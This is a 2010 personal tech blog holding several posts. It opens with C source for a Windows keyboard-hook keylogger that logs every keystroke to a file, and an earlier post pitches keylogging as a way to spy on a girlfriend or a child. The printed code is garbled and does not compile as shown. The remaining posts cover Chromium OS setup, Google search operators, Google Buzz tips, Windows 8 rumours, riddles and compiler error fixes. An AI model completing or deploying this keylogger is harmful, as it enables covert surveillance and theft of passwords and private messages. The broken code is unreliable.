Sunday, February 28, 2010

KeyLogging Part 2

This time i am back with key logger code which i have told in sum other post that i will be posting it in future because i haven’t checked the code which i found it in some web site.These days i have worked on the code but i can’t make it work.It is showing errors and i am not able to rectify those.I am posting the code which i found here you can try it and if you get it work please tell me what changes you made so that i too can use it.The code which i found is in C  and if you know C language you read it .The code is as follows: -

code: */
// This code will only work if you have Windows NT or
// any later version installed, 2k and XP will work.
#define _WIN32_WINNT 0x0400
#include "windows.h"
#include "winuser.h"
#include "stdio.h"
// Global Hook handleHHOOK hKeyHook;
// This is the function that is "exported" from the
// execuatable like any function is exported from a
// DLL. It is the hook handler routine for low level
// keyboard events.
__declspec(dllexport) LRESULT CALLBACK KeyEvent (
int nCode,
// The hook codeWPARAM wParam,
// The window message (WM_KEYUP, WM_KEYDOWN, etc.)LPARAM lParam
// A pointer to a struct with information about the pressed key
) {
if ((nCode == HC_ACTION) && // HC_ACTION means we may process this event
((wParam == WM_SYSKEYDOWN) // Only react if either a system key ...
(wParam == WM_KEYDOWN))) // ... or a normal key have been pressed.
{
// This struct contains various information about
// the pressed key such as hardware scan code, virtual
// key code and further flags.
KBDLLHOOKSTRUCT hooked =
*((KBDLLHOOKSTRUCT*)lParam);
// dwMsg shall contain the information that would be stored
// in the usual lParam argument of a WM_KEYDOWN message.
// All information like hardware scan code and other flags
// are stored within one double word at different bit offsets.
// Refer to MSDN for further information:
//
// http://msdn.microsoft.com/library/en-us/winui/winui/
// windowsuserinterface/userinput/keyboardinput/aboutkeyboardinput.asp
//
// (Keystroke Messages)
DWORD dwMsg = 1;
dwMsg += hooked.scanCode << 16;
dwMsg += hooked.flags << 24;
// Call the GetKeyNameText() function to get the language-dependant
// name of the pressed key. This function should return the name
// of the pressed key in your language, aka the language used on
// the system.
char lpszName[0x100] = {0};
lpszName[0] = '[';
int i = GetKeyNameText(dwMsg,
(lpszName+1),0xFF) + 1;
lpszName = ']';
// Print this name to the standard console output device.
FILE *file;
file=fopen("keys.log","a+");
fputs(lpszName,file);
fflush(file);
}
// the return value of the CallNextHookEx routine is always
// returned by your HookProc routine. This allows other
// applications to install and handle the same hook as well.
return CallNextHookEx(hKeyHook,
nCode,wParam,lParam);
}
// This is a simple message loop that will be used
// to block while we are logging keys. It does not
// perform any real task ...
void MsgLoop(){MSG message;
while (GetMessage(&message,NULL,0,0)) {
TranslateMessage( &message );
DispatchMessage( &message );}
}
// This thread is started by the main routine to install
// the low level keyboard hook and start the message loop
// to loop forever while waiting for keyboard events.
DWORD WINAPI KeyLogger(LPVOID lpParameter){
// Get a module handle to our own executable. Usually,
// the return value of GetModuleHandle(NULL) should be
// a valid handle to the current application instance,
// but if it fails we will also try to actually load
// ourself as a library. The thread's parameter is the
// first command line argument which is the path to our
// executable.
HINSTANCE hExe = GetModuleHandle(NULL);
if (!hExe) hExe = LoadLibrary((LPCSTR) lpParameter);
// Everything failed, we can't install the hook ... this
// never happened, but error handling is important.
if (!hExe) return 1;
hKeyHook = SetWindowsHookEx (
// install the hook:
WH_KEYBOARD_LL, // as a low level keyboard hook
(HOOKPROC) KeyEvent,
// with the KeyEvent function from this executable
hExe, // and the module handle to our own executableNULL
// and finally, the hook should monitor all threads.
);
// Loop forever in a message loop and if the loop
// stops some time, unhook the hook. I could have
// added a signal handler for ctrl-c that unhooks
// the hook once the application is terminated by
// the user, but I was too lazy.
MsgLoop();
UnhookWindowsHookEx(hKeyHook);
return 0;
}
// The main function just starts the thread that
// installs the keyboard hook and waits until it
// terminates.
int main(int argc, char** argv)
{
HANDLE hThread;
DWORD dwThread;
DWORD exThread;
hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)
KeyLogger, (LPVOID) argv[0], NULL, &dwThread);
if (hThread)
{
return WaitForSingleObject(hThread,INFINITE);
}
else {return 1;}
}
Don’t forget to post the way you made it work if it works for you..

Thursday, February 25, 2010

Chromium OS

[tweetmeme source=HtNaMuS only_source=false]

[digg=http://digg.com/software/ChromiumnOS_Sumanth_s_Blog]

Have you heard about Operating System designed by Google ???
If not !!!  Let me give some of its details about it and the way to have one with you.
Chromium OS is a FLOCSS(Free & Open Source Software) Operating system designed by Google to work exclusively with web applications announced on July 7, 2009, Chrome OS is set to have a publicly available stable release during the second half of 2010. The operating system is based on Linux.Its Interface mostly resembling the Chrome web browser .It is aimed on the users who spend lot of time on the internet.

How to install it as Virtual OS In Your PC??

Step1: Download Chrome OS .vmdk image file from Web or Click here to download.
Step2: You also have to download the Virtual OS hosting software like Virtual Box .You can also install it other softwares of same kind as VMware player or Workstation.
Step3: After completing the above downloads install the virtual software you have downloaded.
Step4: Run Virtual box and you can see the home screen as this
image
Step5: Click on New button and click next and then enter the name of the OS as Chrome OS and change the Operating system as Linux and version as Ubuntu i can’t say why i am taking this but the OS is working only for this options so you have follow.
image
Step 6: Now select the size of your RAM which you wants to allocate for Virtual OS.Minimum is 384 Mb as recommended by the Virtual Box .Click next after allocating and you can see a dialogue box as belowimage Now select the radio button Use existing hard disk and browse the .vmdk file which you have downloaded and click next and then click finish.
Step 6: You are one step behind of using Chrome OS..To Start Chrome OS select the Chrome OS option and press start button in the dialogue box appeared after installation as shown.image Now your OS boots with in seconds which is one of the new feature of this OS and asks you for    username and password .           image Don't worry about how to get those username and password its nothing but your Gmail id and password..so Get Ready to explore Chromium OS ……

Friday, February 19, 2010

Log the Keys ( KeyLogging Part 1)

Ever thought of finding what your girlfriend is chatting with other guy Or finding what your son   is doing on internet ??
Thinking whether it is possible or not ???
Yes there is a way to know it
         "KeyLogging"....


It is a technique of storing and accessing the keys pressed by the user on his system which is installed with a keylogging program .I think now you got a idea of what is a keylogger...


Now the actual technical stuff comes into picture ......
KeyLogger may not be only a program all time but it also may be hardware  which integrates with your system and sends data to the creator of it..



Main Idea behind KeyLogging:
             The main idea behind keyloggers is to get in between any two links in the chain of events between when a key is pressed and when information about that keystroke is displayed on the monitor. This can be achieved using video surveillance, a hardware bug in the keyboard, wiring or the computer itself, intercepting input/ output, substituting the keyboard driver, the filter driver in the keyboard stack, intercepting kernel functions by any means possible (substituting addresses in system tables, splicing function code, etc.), intercepting DLL functions in user mode, and, finally, requesting information from the keyboard using standard documented methods.


Classification of KeyLoggers:
         Keyloggers can be divided into two categories: keylogging devices and keylogging software. Keyloggers which fall into the first category are usually small devices that can be fixed to the keyboard, or placed within a cable or the computer itself. The keylogging software category is made up of dedicated programs designed to track and log keystrokes.
The most common methods used to construct keylogging software are as follows:
  • a system hook which intercepts notification that a key has been pressed (installed using WinAPI SetWindowsHook for messages sent by the window procedure. It is most often written in C);
  • a cyclical information keyboard request from the keyboard (using WinAPI Get(Async)KeyState or GetKeyboardState – most often written in Visual Basic, sometimes in Borland Delphi);
  • using a filter driver (requires specialized knowledge and is written in C). 
How Can You Get One???
   These softwares are sold corporately so that you can buy one from them.I am mentioning some of the websites which sell those softwares only for some purposes..
 1) KeyLogger
 2)Open Source Project


Can You Make One??
   Yes you can make one if you have the knowledge of C Or Java etc...I found one program which makes a keylogger using C language , I didn't tried the program given in that site.I will try it and write my experience in my next post..
     
   
  

Tuesday, February 16, 2010

Explore Web With Google


[tweetmeme source=HtNaMuS only_single=false]

[digg=http://digg.com/tech_news/Explore_Web_WithnGoogle_Sumanth_s_Blog]

This time I am back with tips to explore Google.Do you know every day Google logs around 2 billion searches, So around 300 million people uses Google for their day to day searches. But some times many of us feel that Google is not able give the information which they are searching for..For those whose who feel that Google is not giving them the information they required, This post will be very useful....

1) If you like to search only in particular web sites then  site:google.com firefox will find all sites containing the word firefox, located within the *.google.com domain .


2)To Restrict results to documents whose title contains the specified phrase, intitle:fox fire will find all sites with the word fox in the title and fire in the text.

3)To Restrict results to documents whose title contains all the specified phrases this will help you, allintitle:fox fire will find all sites with the words fox and fire in the title, so it's equivalent to intitle:fox intitle:fire

4)To get from the sites whose URL contains the specified phrase ,inurl:fox fire will find all site containing the word fire in the text and fox in the URL .

5)To Restrict results to sites whose URL contains all the specified phrases ,allinurl:fox fire will find all sites with the words fox and fire in the URL, so it's equivalent to inurl:fox inurl:fire .

6)To get results from documents of the specified type ,filetype:pdf fire will return PDFs containing the word fire, while filetype:xls fox will return Excel spreadsheets with the word fox.

7)To Restrict results to documents containing a number from the specified range ,use numrange:1-100 fire will return sites containing a number from 1 to 100 and the word fire. The same result can be achieved with 1..100 fire .

8)To Restricts results to sites containing links to the specified location ,link:www.google.com will return documents containing one or more links to www.google.com .

9)This Restricts results to sites containing links with the specified phrase in their descriptions ,inanchor:fire will return documents with links whose description contains the word fire (that's the actual link text, not the URL indicated by the link) .

10)This Restricts results to documents containing the specified phrase in the text, but not in the title, link descriptions or URLs ,allintext:"fire fox" will return documents which contain the phrase fire fox in their text only.

11)Specifies that a phrase should occur frequently in results ,specifies that a phrase should occur frequently in results .

12)Specifies that a phrase must not occur in results ,-fire will return documents that don't contain the word
fire .

13)This will return documents that don't contain the word fire ,"fire fox" will return documents containing the phrase fire fox .

14)A Wild card for a single character ,fire.fox will return documents containing the phrases fire fox, fireAfox, fire1fox, fire-fox etc.

15)Wild card for a single word ,fire * fox will return documents containing the phrases fire the fox, fire in fox, fire or fox etc .

16)Using Operator , logical OR ,"fire fox" | firefox will return documents containing the phrase fire fox or the word firefox .

17)To view the definition of a word use the following method , Syntax: define: .

18)You can use the Google search box as your scientific calculator as  sqrt(10) .

19)Actually Not all Googles are the same! Depending on your location, Google will forward you to a different country-specific version of Google with potentially different results to the same query. A search for [site:stormfront.org] from the US will yield hundreds of thousands of results, whereas the same search from Germany (at least if you don’t change the default redirect to Google.de) returns... zilch. Yes, Google does at times agree to country-specific censorship, like in Germany, France (Google web search), or China (Google News)..

These are the tips which i came to know if any one knows more than these write them as comments .

Sunday, February 14, 2010

A buzz on Google BUZZ

So you've had tried Google BUZZ , Like to customize and make it suit to your requirements or want to remove it from your Gmail completely ....here are some tricks and tips on Google BUZZ.....

1)Hide Your Followers And Those You Are Following In Buzz..
     Thinking that buzz is revealing your followers and those whom u r following to buzz users!!!!
      Follow the instructions and you can hide the stuff from other buzz users.
             1.make sure that you have signed in into your Gmail account.
             2.Now open http://google.com/profiles/me .
             3.you will see your profile page and at the top of the page you may see like this.
             4.click on the edit profile button and now un check the box which says that Display the list of people I'm following and people following me .

         5.Now save the changes by pressing the save changes button in the bottom of the page...
That's done from now no one can see whom u r following and who r following you..





2)Add Spice To Your Text In Buzz
  
Google Buzz understands some very basic text markup language. That means you can spice up your text entries on Buzz by using bold text, italics and strikethroughs. Here's what you do:
      1.   *Make your text bold by placing an asterisk at each end of your word or sentence*.
      2.  _Using underscores at each end will italicize this Buzz comment_.
      3.  -Use a dash at each end for a strikethrough-
      4.  For an em--dash, just place two hyphens side--by--side..

3)Stop Buzzes Arriving To Your Inbox .

One of the complaints about Buzz is that it automatically adds Buzz to your inbox - yes, your actual inbox where you're already overwhelmed with traditional email messages. This occurs despite the fact that Buzz has its own section in Gmail, accessible via a link on the left. We're not sure if the Google guys haven't yet heard of "information overload" or if they just don't care, but some of us would rather keep our Buzz elsewhere.
Getting Buzz out of your inbox is simple, though, thanks to Gmail's filtering mechanism. Here's how to use it.


  1. Click "create a filter" next to the search box at the top of your inbox. 




  2. Then, in the Has words text box in the filter tool, enter label:buzz.



  3. Click the Next Step button; Gmail will warn you that Filter searches containing label and a few other search operators won't work, but don't worry--my testing shows that for Buzz messages, they seem to work just fine, so click OK and move on.
  4. Finally, tick the checkbox next to Skip the Inbox (Archive it) if you want to remain the mail in your mail archive and if you want to delete it check the delete it box and then click the Create Filter button. 
  5. If in future you want to make the mails come to your inbox then go to the setting tab of your gmail and then to filter tab and delete the filter with label:buzz ..


4) To Seperate The Buzzs By You And Buzzs By Others 

     By applying this trick you can get buzzes Seperately in to two different Inboxs in your Gmail.As shown below.
          You can get more details of this trick from Here..


5) Buzz Extensions

         Since the arrival of the Buzz app developers are busy with developing extension to the browers for buzz to make users comfortable.If you are one of those, then you might prefer that notification extension for your web browser .The extension that can display the number of unread status messages is available for the Google Chrome web browser.
Google Buzz Checker is a simply extension for the Google Chrome web browser that displays an icon with the current count of unread buzz messages. A click on the icon will take the user to the Google Buzz page where those new messages can be read. One nice feature of the extension is that it does not request a user login, it will work if the user is logged into Gmail. This on the other hand could be a problem for security conscious users who prefer to log out of Gmail whenever they have finished using the service.
Chrome Buzz for Google Chrome makes it more comfortable as it provides the status updates right in the web browser without having to load the Google Buzz page in the web browser first.
 Buzzer for Google Chrome is an extension that links Google Buzz and Google Reader. It allows the user to share pages, text and pictures on Google Reader and Google Buzz at the same time.

Buzz It is a Firefox add-on that can be used to make a status update via Gmail by posting the link and title of the webpage the user is viewing.

Two userscripts are also available right now. Google Buzz Comment emoticons adds emoticon support to the comments and posts while Google Buzz Count Hide hides the unread status message count in Gmail.

6) Hates Buzz Then Turn It Off

    Google Buzz not your thing? You can switch it off altogether, if you would like. Scroll all the way down to the bottom of your inbox and look for the link underneath your quota usage informational message. Click "turn off buzz" to be bothered no more.
   
7) Download Buzz Icons

    You can also download Buzz Icons which you can use in blogger blogs or word press ..
    Download Icons from This Link .

Happy to here any comments from you..If i have missed some you can share them in comments...

Saturday, February 13, 2010

AutoReply Bot for Gtalk

[tweetmeme source=HtNaMuS only_single=false]
[digg=http://digg.com/software/AutoReply_Bot_fornGtalk_Sumanth_s_Blog]

Many of Us use Gtalk right..some times we may leave out keeping our status available or sum other .Then if any of our friends may send messages then How can they know that you went out ???

Here is the way....
You can setup a AutoReply Bot
This software bot lets you send automated replies to your friends in Google talk.you just follow the instructions given below you can make u r friends know if u r out..


Installation and Usage
1. Download Gtalk Autoreply and run setup.exe.
2. Run Gtalk Autoreply and enter your Username, Password and Message and active.

Gtalk Autoreply.JPG

Message.JPG

you can download the bot from here..

NOTE:

This will not work if you are using any proxy for your network connection..

Friday, February 12, 2010

Think Big with a Gig …..Google’s Plans to revolutionize the Internet

[tweetmeme source=HtNaMuS only_single=false]
[digg=http://digg.com/tech_news/Think_Big_with_a_Gig_Google_s_Plans_to_revolutionize_theAn]
                                             


                       Ever Thought of downloading a HD movie in 5 min???Or collaborating with classmates around the world while watching live 3-D video of a university lecture..If not...Just imagine now...


Your Imagination is going to be true..Google is planning to make it true.

One thing which can really make you survive in the tech world is innovation. Google had realized this at an early stage and has always tried to innovate. This is the company which gave us a revolutionary search engine; a 1 GB storage E-mail inbox, when 100 MB was considered enough, for free and also interesting products such as Google Maps with Street View. But they are still not satisfied and plan to bring these services at a lightning fast speed to our homes. Google is experimenting with ultra-fast fiber network internet. 
Fiber optic communication has never been exploited to its full potential and has failed in reaching out to the masses . Google plans to change this by testing high-speed broadband networks in a small number of trial locations across the United States. Fiber optic communication is the method of transferring data from one place to another by sending pulses of light through an optical fiber. Google plans to revolutionize internet speeds forever by introducing connection speed of a mind boggling 1Gb/sec for as many as 500,000 people. That makes it about 20 times faster than the highest internet speed provided by AT&T or Verizon in USA. That is also about a 1000 times faster than the average speed we see in Indian broadband connections. Google says that this will have three main uses: To encourage the development of bandwidth-intensive applications whose development had been somewhat restricted before, to explore new ways of deploying fiber networks and provide an “open access” network which gives the user a choice to have multiple service providers. If this experiment becomes a success, Google can redefine what internet speed is all about.

It is posted in the google's blog that their goal is to experiment with new ways to help make Internet access better and faster for everyone.
Here are some specific things that they have in mind:
They want to see what developers and users can do with ultra high-speeds, whether it's creating new bandwidth-intensive "killer apps" and services, or other uses which they can't yet imagine.


They also  want to test new ways to build fiber networks, and to help inform and support deployments elsewhere.

How to rectify “Cannot initialise profile” error in Capture(Orcad)

[tweetmeme source=HtNaMuS only_single=false]

[digg=http://digg.com/programming/How_to_rectify_Cannot_initialise_profile_error_in_Orcad]

Capture is the software where we can design electronic circuits and stimulate them.After installation of this software and after designing a ckt if we stimulate it ,sum times it may give a error message of "Cannot load Profile".

Solution for this problem is
You just go to the start menu and right click on the capture icon from u will launch the software.Open properties and choose compaitability tab and if it is win Xp 3 change it to win Xp 2 and check  "Run this program as an administrator " button..Thats all from U can stimulate circuits as u like....

c you soon...........

8 Things which U have to know about windows 8

[tweetmeme source=HtNaMuS only_single=false]

It's no surprise that Microsoft has been working on Windows 8 for a while, moving from general planning to more in-depth discussions in the spring; earlier this month the Windows team finalised the key scenarios.
That's not down to dissatisfaction with Windows 7; Microsoft always starts planning the next version as soon as it's clear what's going to make it into the version under development.

At this stage there isn't any official information and there won't be for a year or more. But there are some things we do know.
1. Windows 8 release date is late 2011 or early 2012
That's 2-3 years after Windows 7; leaving aside the aberration of Vista, that's the typical time between Windows releases and it matches up with the 2012 dates mentioned on leaked Windows Server timelines.
While Windows President Steven Sinofsky says he doesn't want to "underpromise and over-deliver" for Windows, it's likely that Microsoft will announce the later date and ship on the earlier one.

2. Everything we know comes from job ads and profiles - so we don't know much
It's impossible to say what will and won't be in Windows 8 at this stage because no-one knows; not even the Windows team.
The broad scenarios for Windows have been decided and all features will have to fit into one of those scenarios but the feature list isn't set. The final list of features will be locked down late in 2010, which is when we'll see the first public beta – and the first official details.
Remember that internally Microsoft uses 'Windows 8' to cover the server and desktop operating systems and many of the features gleaned from job adverts are server features like Distributed File System Replication (DFSR) storage technology and the File Server role.
If the rumoured 128-bit support is true, then it's 128-bit registers for processing data in Itanium servers.
3. Hibernate and resume will have a new engine
According to the profile of an intern on the Windows team, there's going to be a new Hibernate/Resume Integration API using what he calls "the new TLZ file compression engine". That could mean even faster hibernation and resume times – if it makes it into the final code.
4. Windows 8 will have new networking and security features
Another intern reports working on "new networking features"; that tells us about as much as the profile of the Software Security Engineer who's working on "Windows 8 security".
Changes in network security, authentication and encryption detailed in a Software Design Engineer's profile are again probably related to Windows Server. Another online resume mentions a possible "follow-on" to the PatchGuard system that stops viruses changing system files that was delayed from Windows 7.
5. Seadragon? Maybe
The team behind SeaDragon and the Deep Zoom feature in Silverlight is recruiting a Lead Developer but the ad only says they "want to take it" to Windows 8 (as well as Windows Mobile 7, XNA for Xbox and WPF for Vista and Windows 7).
6. Windows 8 will have better multimonitor support
Steven Sinofsky has already said there wasn't time to do more work on the user interface with multiple monitors but that it's on the list for Windows 8, not least because "we all use it at Microsoft". Expect scenarios for handling three or more screens, in various arrangements.
7. Windows 8 might run on ARM
Or at least the Windows kernel might run on the ARM and Qualcomm Snapdragon chips found inside smartphones, possibly using a hypervisor. That might not mean the full version of Windows 8 but it would enable a future mobile version of Windows that could run on much lower spec systems than current PCs.
8. Steven Sinofsky is in charge of it
This is both good – he was responsible for getting Windows 7 out on time and working well – and potentially very bad. Sinofsky's expertise is execution rather than vision and for Windows 8 that could mean a pedestrian set of improvements rather than anything potentially game changing.
Windows 7 is more than Vista done right, but it is an excellent execution of the Vista architecture changes. With Windows 7 to compete against, Windows 8 will need to be a lot more exciting than that.

Now Itz time for us to think about how windows 8 may look like.....!!!!
Guys lets share u r ideas about how win 8 may look like.....

Thursday, February 11, 2010

Simple Questions With Superb Answers

[tweetmeme source=HtNaMuS only_single=false]
[digg=http://digg.com/comedy/Simple_Questions_With_SuperbnAnswers_Sumanth_s_Blog]

Iam back with sum questions which seem to be non sense but after seeing the answers one can feel the sense in them......

Ready to read questions.....then Letz start....

Q1. How can you drop a raw egg onto a concrete floor without cracking it?

A. Concrete floors are very hard to crack!

Q2. If it took eight men ten hours to build a wall, how long would it take four men to build it?

A. No time at all it is already built.

Q3. If you had three apples and four oranges in one hand and four apples and three oranges in the other hand, what would you have?



A. Very large hands.

Q4. How can you lift an elephant with one hand?

A. you will never find an elephant with one hand.

Q5. How can a man go eight days without sleep?

A. No Probs, He sleeps at night.

Q6. If you throw a red stone into the blue sea what it will become?

A. It will Wet or Sink as simple as that.

Q7. What looks like half apple ?

A: The other half.

Q8. What can you never eat for breakfast?

A: Dinner.

Q9. Bay of Bengal is in which state?

A: Liquid

And This is a question asked by some Interviewer in the Interview of a MBA student...

Interviewer said "I shall either ask you ten easy questions or one really difficult question. Think well before you make up your mind!" The boy thought for a while and said, "my choice is one really difficult question." "Well, good luck to you, you have made your own choice! Now tell me this.
"What comes first, Day or Night?"
The boy was jolted into reality as his admission depends on the correctness of his answer, but he thought for a while and said, "It's the DAY sir!"
"How" the interviewer asked.
"Sorry sir, you promised me that you will not ask me a SECOND difficult question!"
He was selected for IIM!

Technical Skill is the mastery of complexity, while Creativity is the master of presence of mind.
This is a famous paper written for an Oxford philosophy exam, normally requiring an eight page essay answer and expected to be backed up with source material, quotes and analytical reasoning. This guy wrote the below answer and topped the exam!

* OXFORD EXAMINATION BOARD 1987* *ESSAY QUESTION*

Question: What is courage? (50 Marks)
Answer (After 7 blank pages, at the end of the last page…): This is courage.ss

Wednesday, February 10, 2010

How to rectify the error ” Source not compiled” in Dev C++

[tweetmeme source=HtNaMuS only_single=false]

[digg=http://digg.com/programming/How_to_rectify_the_error_Source_not_compiled_in_DevC]

Dev C++ is a compiler used to compile the programs in C++ ..After successfully installing this software and writing sum sort of program and once you compile and run it sum installations may get an error message of "Source not Compiled "....

Then u have to follow these steps to get this error rectified...

First of all
1) Go to "Tools > Compiler Options" in Dev C++. Click on the "Directories" tab and add the following to the binaries location:

C:\Dev-Cpp\libexec\gcc\mingw32\3.4.2

(2) Go to the "Programs" tab and add the following prefix to all the listings:

C:\Dev-Cpp\bin\

Note that you may have to replace the "Dev-Cpp" above in (1) and (2) with your Dev C++ installation folder if you did not accept the default options during installation.

http://www.pmohan.org/forums/

Let me know whether this works for u r not.....

leave a comment..........